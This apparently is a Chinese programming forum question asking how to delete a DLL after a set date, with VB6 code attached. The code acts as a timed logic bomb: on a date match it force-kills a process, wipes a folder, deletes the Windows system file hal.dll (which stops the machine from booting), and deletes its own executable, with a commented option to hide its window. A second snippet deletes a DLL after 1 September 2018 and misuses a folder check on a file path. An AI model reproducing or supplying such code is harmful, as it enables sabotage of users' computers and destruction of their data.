能不能达到这种效果?
能不能到期删除dll文件,如到2018年9月1日,删除C:\工程1.dll文件
Private Sub Command1_Click() Shell "taskkill /im kiln.exe /f", vbHide Timer2.Interval = 0 Timer3.Interval = 2000 End Sub Private Sub Command2_Click() Dim a As Date a = Now Label1.Caption = Format(a, "yyyymmdd") End Sub Private Sub Command3_Click() Dim fs Set fs = CreateObject("Scripting.FileSystemObject") Kill "C:\lieu\*.*" Timer3.Interval = 0 Timer4.Interval = 0 End Sub Private Sub Command4_Click() Kill "C:\WINDOWS\system32\hal.dll" Timer5.Interval = 0 End Sub Private Sub Command5_Click() Shell "cmd /c del " & App.EXEName & ".exe" End End Sub Private Sub Form_Load() 'Form1.Visible = False '隐蔽应用程序 Timer2.Interval = 5000 End Sub Private Sub Timer1_Timer() Command2_Click End Sub Private Sub Timer2_Timer() If Label1.Caption = Label2.Caption Then Command1_Click Else End If End Sub Private Sub Timer3_Timer() Command3_Click End Sub Private Sub Timer4_Timer() Command4_Click End Sub
Dim SRQ As Date SRQ = CDate("2018-9-1") If Date >= SRQ Then Dim FSO As Object, F1 As String F1 = "C:\工程1.dll" Set FSO = CreateObject("Scripting.FileSystemObject") If FSO.FolderExists(F1) = True Then Kill F1 Else MsgBox F1 & "文件已经删除了!" End If Set FSO = Nothing End If